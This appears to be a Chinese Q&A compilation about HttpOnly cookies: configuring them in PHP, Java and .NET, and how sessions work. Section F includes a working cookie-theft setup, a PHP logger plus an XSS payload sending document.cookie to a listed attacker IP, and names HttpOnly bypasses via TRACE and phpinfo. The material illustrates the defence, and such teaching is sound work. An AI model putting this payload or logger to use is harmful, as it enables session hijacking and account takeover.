當前位置:首頁 » 編程語言 » httponlyphp

httponlyphp

發布時間: 2022-06-14 04:23:42

A. php 創建cookie 時為什麼會默認生成httponly

首先看下php.ini是不是默認配置了httponly.

session.cookie_httponly = On

然後看看是否有頁面設置了默認配置,

ini_set("session.cookie_httponly", 1);

一般沒有配置但是卻帶了httponlhy一般情況是其 他地方有修改,要麼是默認配置文件,要麼是在初始化文件裡面修改的。

B. php cookie 取消httponly

php cookie 取消httponl
利用HttpResponse的addHeader方法,設置Set-Cookie的值

cookie字元串的格式:key=value; Expires=date; Path=path; Domain=domain; Secure; HttpOnly
//設置cookie

response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");

//設置多個cookie

response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");

response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");

//設置https的cookie

response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");

在實際使用中,我們可以使FireCookie查看我們設置的Cookie 是否是HttpOnly

C. php編程問題請大俠們來指教小弟一些問題

一般記住密碼的功能都是用cookie來實現的.
使用 setcookie()函數設置cookie:
bool setcookie ( string name [, string value [, int expire [, string path [, string domain [, bool secure [, bool
httponly]]]]]] )
name: cookie 變數名
value: cookie 變數的值
expire: 有效期結束的時間
path: 有效目錄
domain: 有效域名,頂級域唯一
secure: 如果值為 1,則cookie 只能在https 連接上有效,如果為默認值 0,則http 和 https 都可
以。
直接用php 內置超級全局變數$_COOKIE 就可以讀取瀏覽器端的cookie。
上面例子中設置了cookie "TestCookie",現在我們來讀取:
print $_COOKIE['TestCookie'];
COOKIE 是不是被輸出了?!
刪除cookie

只需把有效時間設為小於當前時間,和把值設置為空。例如:
setcookie("name", "", time()-1);

D. 如何讓java支持httponly

目前sun公司還沒有公布相關的API,但PHP、C#均有實現。搞javaEE的兄弟們比較郁悶了,別急下文有變通實現

HttpOnly的設置樣例
javaEE
1 response.setHeader("Set-Cookie", "cookiename=value;
2 Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");
具體參數的含義再次不做闡述,設置完畢後通過js腳本是讀不到該cookie的,但使用如下方式可以讀取
1 Cookie cookies[]=request.getCookies();
C#
1 HttpCookie myCookie = new HttpCookie("myCookie");
2 myCookie.HttpOnly = true;
3 Response.AppendCookie(myCookie);
VB.NET
1 Dim myCookie As HttpCookie = new HttpCookie("myCookie")
2 myCookie.HttpOnly = True
3 Response.AppendCookie(myCookie)

但是在.NET 1.1 ,中您需要手動添加
1 Response.Cookies[cookie].Path += ";HTTPOnly";
PHP4
1 header("Set-Cookie: hidden=value; httpOnly");

PHP5
1 setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
最後一個參數為HttpOnly屬性

E. php curl獲取的cookie帶httponly怎麼辦

新浪sae平台的所有目錄都是只讀的,不可寫.如果想寫入數據,可以用storage.
或者使用SAE的臨時目錄.

F. 如何HttpOnly的cookie與AJAX請求工作

隨著B/S的普及,我們平時上網都是依賴於http協議完成,而Http是無狀態的,即同一個會話的連續兩個請求互相不了解,他們由最新實例化的環境進行解析,除了應用本身可能已經存儲在全局對象中的所有信息外,該環境不保存與會話有關的任何信息,http是不會為了下一次連接而維護這次連接所傳輸的信息的。所以為了在每次會話之間傳遞信息,就需要用到cookie和session,無論是什麼,都是為了讓伺服器端獲得一個token來檢查合法性,很多時候都是在cookie中存儲一個sessionID,伺服器來識別該用戶,那麼安全隱患也就引申而出了,只要獲得這個cookie,就可以取得別人的身份,特別是管理員等高級許可權帳號時,危害就大了,而XSS就是在別人的應用程序中惡意執行一段JS以竊取用戶的cookie。
那麼如何獲得Cookie劫持呢?在瀏覽器中的document對象中,就儲存了Cookie的信息,而利用js可以把這裡面的Cookie給取出來,只要得到這個Cookie就可以擁有別人的身份了。下面簡單說說如何竊取cookie。
接收cookie的PHP文件ck.php為:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookie.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>
把這個文件放在自己的伺服器上,比如我們搭建的伺服器為:http://10.65.21.78:8080 .
那麼構造XSS語句:
<script>window.open('http://10.65.21.78:8080/ck.php?c='+document.cookie)</script>
當執行script成功時就會把cookie發送到自己的伺服器下cookie.txt文件中。XSS攻擊是多麼可怕的事情。
說了這么多,貌似還沒有提到HttpOnly,這是哪般?莫及!這就到了!如何保障我們的Cookie安全呢?Cookie都是通過document對象獲取的,我們如果能讓cookie在瀏覽器中不可見就可以了,那HttpOnly就是在設置cookie時接受這樣一個參數,一旦被設置,在瀏覽器的document對象中就看不到cookie了。而瀏覽器在瀏覽網頁的時候不受任何影響,因為Cookie會被放在瀏覽器頭中發送出去(包括Ajax的時候),應用程序也一般不會在JS里操作這些敏感Cookie的,對於一些敏感的Cookie我們採用HttpOnly,對於一些需要在應用程序中用JS操作的cookie我們就不予設置,這樣就保障了Cookie信息的安全也保證了應用。
給瀏覽器設置Cookie的頭如下:
Set-Cookie: =[; =]
[; expires=][; domain=]
[; path=][; secure][; HttpOnly]
如果 Cookie 具有 HttpOnly 特性且不能通過客戶端腳本訪問,則為 true;否則為 false。默認值為 false。
但是,也可以看到HttpOnly並不是萬能的,首先它並不能解決XSS的問題,仍然不能抵制一些有耐心的黑客的攻擊,甚至一些基於XSS的proxy也出現了,但是已經可以提高攻擊的門檻了,起碼XSS攻擊不是每個腳本小子都能完成的了,而且其他的那些攻擊手法因為一些環境和技術的限制,並不像Cookie竊取這種手法一樣通用。
HttpOnly也是可能利用一些漏洞或者配置Bypass的,關鍵問題是只要能取到瀏覽器發送的Cookie頭就可以了。譬如以前出現的Http Trace攻擊就可以將你的Header里的Cookie回顯出來,利用Ajax或者flash就可以完成這種攻擊,這種手法也已經在Ajax和flash中獲得修補。另外一個關於配置或者應用程序上可能Bypass的顯著例子就是phpinfo,大家知道phpinfo會將瀏覽器發送的http頭回顯出來,其中就包括我們保護的auth信息,而這個頁面經常存在在各種站點上,只要用ajax取phpinfo頁面,取出header頭對應的部分就可以獲得Cookie了。一些應用程序的不完善也可能導致header頭的泄露,這種攻擊方式對於基本驗證保護的頁面一樣可以攻擊。
HttpOnly在IE 6以上,Firefox較新版本都得到了比較好的支持,並且在如Hotmail等應用程序里都有廣泛的使用,並且已經是取得了比較好的安全效果。
那問題就來了,大家想想,HttpOnly 主要是為了限制web頁面程序的browser端script程序讀取cookie, 實際是瀏覽器通過協議實現限制的,黑客可不會那麼傻,肯定不會用HTTP協議來讀取cookie,肯定是在socket層面寫抓包程序,相當於寫一個低於IE6版本的應用程序。
所以,HttpOnly並不是萬能的。

G. php header("Set-Cookie httpOnly為什麼 不能兩次

這相當於一個hashmap,對同一個key,多次操作,就是後者覆蓋前者。你要做多次,最好對Set-Cooke:做拼接,一次寫入。

H. 如何取得httponly屬性的cookie

session 分成兩部分,session空間存放於伺服器端,打開空間的ID 存放於 客戶端的cookie, 如果客戶端關閉了cookie,session就不能正常的使用。
來源:
Session 的中文譯名叫做「會話」,其本來的含義是指有始有終的一系列動作/消息,比如打電話時從拿起電話撥號到掛斷電話這中間的一系列過程可以稱之為一個 session。目前社會上對session的理解非常混亂:有時候我們可以看到這樣的話「在一個瀏覽器會話期間,...」,這里的會話是指從一個瀏覽器窗口打開到關閉這個期間;也可以看到「用戶(客戶端)在一次會話期間」這樣一句話,它可能指用戶的一系列動作(一般情況下是同某個具體目的相關的一系列動作,比如從登錄到選購商品到結賬登出這樣一個網上購物的過程;然而有時候也可能僅僅是指一次連接;其中的差別只能靠上下文來推斷了。

然而當session一詞與網路協議相關聯時,它又往往隱含了「面向連接」和/或「保持狀態」這樣兩個含義,「面向連接」指的是在通信雙方在通信之前要先建立一個通信的渠道,比如打電話,直到對方接了電話通信才能開始。「保持狀態」則是指通信的一方能夠把一系列的消息關聯起來,使得消息之間可以互相依賴,比如一個服務員能夠認出再次光臨的老顧客並且記得上次這個顧客還欠店裡一塊錢。這一類的例子有「一個TCP session」或者「一個POP3 session」。

鑒於這種混亂已不可改變,要為session下個定義就很難有統一的標准。而在閱讀session相關資料時,我們也只有靠上下文來推斷理解了。不過我們可以這樣理解:例如我們打電話,從撥通的那一刻起到掛斷電話期間,因為電話一直保持著接通的狀態,所以把這種接通的狀態叫做session。它是訪客與整個網站交互過程中一直存在的公有變數,在客戶端不支持COOKIE的時候,為了保證數據正確、安全,就採用SESSION變數。訪問網站的來客會被分配一個唯一的標識符,即所謂的會話 ID。它要麼存放在客戶端的 cookie,要麼經由 URL 傳遞。

SESSION的發明填補了 HTTP協議的局限:HTTP協議被認為是無狀態協議,無法得知用戶的瀏覽狀態,當它在服務端完成響應之後,伺服器就失去了與該瀏覽器的聯系。這與 HTTP協議本來的目的是相符的,客戶端只需要簡單的向伺服器請求下載某些文件,無論是客戶端還是伺服器都沒有必要紀錄彼此過去的行為,每一次請求之間都是獨立的,好比一個顧客和一個自動售貨機或者一個普通的(非會員制)大賣場之間的關系一樣。

因此通過SESSION(cookie 是另外一種解決辦法)記錄用戶的有關信息,以供用戶再次以此身份對web伺服器提起請求時作確認。會話的發明使得一個用戶在多個頁面間切換時能夠保存他的信息。網站編程人員都有這樣的體會,每一頁中的變數是不能在下一頁中使用的(雖然form,url也可以實現,但這都是非常不理想的辦法),而 SESSION中注冊的變數就可以作為全局變數使用了。

那麼SESSION到底有什麼用處呢?網上購物時大家都用過購物車,你可以隨時把你選購的商品加入到購物車中,最後再去收銀台結帳。在整個過程中購物車一直扮演著臨時存貯被選商品的角色,用它追蹤用戶在網站上的活動情況,這就是 SESSION的作用,它可以用於用戶身份認證,程序狀態記錄,頁面之間參數傳遞等。

SESSION的實現中採用COOKIE技術,SESSION會在客戶端保存一個包含session_id(SESSION編號)的COOKIE;在伺服器端保存其他session變數,比如 session_name等等。當用戶請求伺服器時也把session_id一起發送到伺服器,通過session_id提取所保存在伺服器端的變數,就能識別用戶是誰了。同時也不難理解為什麼SESSION有時會失效了。

當客戶端禁用COOKIE時(點擊IE中的「工具」— 「Internet選項」,在彈出的對話框里點擊「安全」—「自定義級別」項,將「允許每個對話COOKIE」設為禁用),session_id將無法傳遞,此時SESSION失效。不過php5在linux/unix平台可以自動檢查cookie狀態,如果客戶端設置了禁用,則系統自

請採納評分一下吧!

I. HTML靜態頁如何處理HTTPONLY問題

使用PHP來設置HttpOnly
PHP支持從5.2.0版開始設置HttpOnly標志(2006年11月)。
對於由PHP管理的會話cookie,該標志可以通過參數在HttpOnly中的php.ini PHP手冊中永久設置:
session.cookie_httponly =true;

或通過函數[6]在腳本中和期間:
void session_set_cookie_params(int $ lifetime [,string $ path [,string $ domain
[,bool $ secure = false [,bool $ httponly = false]]]])

對於應用程序cookie setcookie()中的最後一個參數,設置HttpOnly標志[7]:
bool setcookie(string $ name [,string $ value [,int $ expire = 0 [,string $ path
[,string $ domain [,bool $ secure = false [,bool $ httponly = false]]]]]])

J. 怎麼爬取httponly

手動在瀏覽器中獲取cookie並且設置到我的爬蟲裡面 是可以進行登陸後的操作的。

在Web安全領域,跨站腳本攻擊時最為常見的一種攻擊形式,也是長久以來的一個老大難問題,而本文將向讀者介紹的是一種用以緩解這種壓力的技術,即HTTPonly cookie。

什麼是HttpOnly

如果您在cookie中設置了HttpOnly屬性,那麼通過js腳本將無法讀取到cookie信息,這樣能有效地防止XSS攻擊,目前sun公司還沒有公布相關的API,但PHPC均有實現。搞javaEE的兄弟們比較郁悶了,別急下文有變通實現。

熱點內容
兩驅車買哪個配置最好 發布:2024-05-03 04:41:42 瀏覽:802
如何給伺服器上傳文件 發布:2024-05-03 04:28:47 瀏覽:708
android仿微信底部菜單 發布:2024-05-03 04:09:34 瀏覽:695
LOL腳本識別 發布:2024-05-03 03:53:14 瀏覽:793
祁東福祥惠民卡初始密碼多少 發布:2024-05-03 03:36:02 瀏覽:247
王者什麼東西需要二級密碼 發布:2024-05-03 03:26:11 瀏覽:766
網頁界面升級訪問 發布:2024-05-03 03:26:06 瀏覽:210
安卓區怎麼更改充電提示音 發布:2024-05-03 03:23:56 瀏覽:48
遺傳演算法圖像分割 發布:2024-05-03 03:16:27 瀏覽:801
外圓圓弧怎麼編程 發布:2024-05-03 03:13:59 瀏覽:213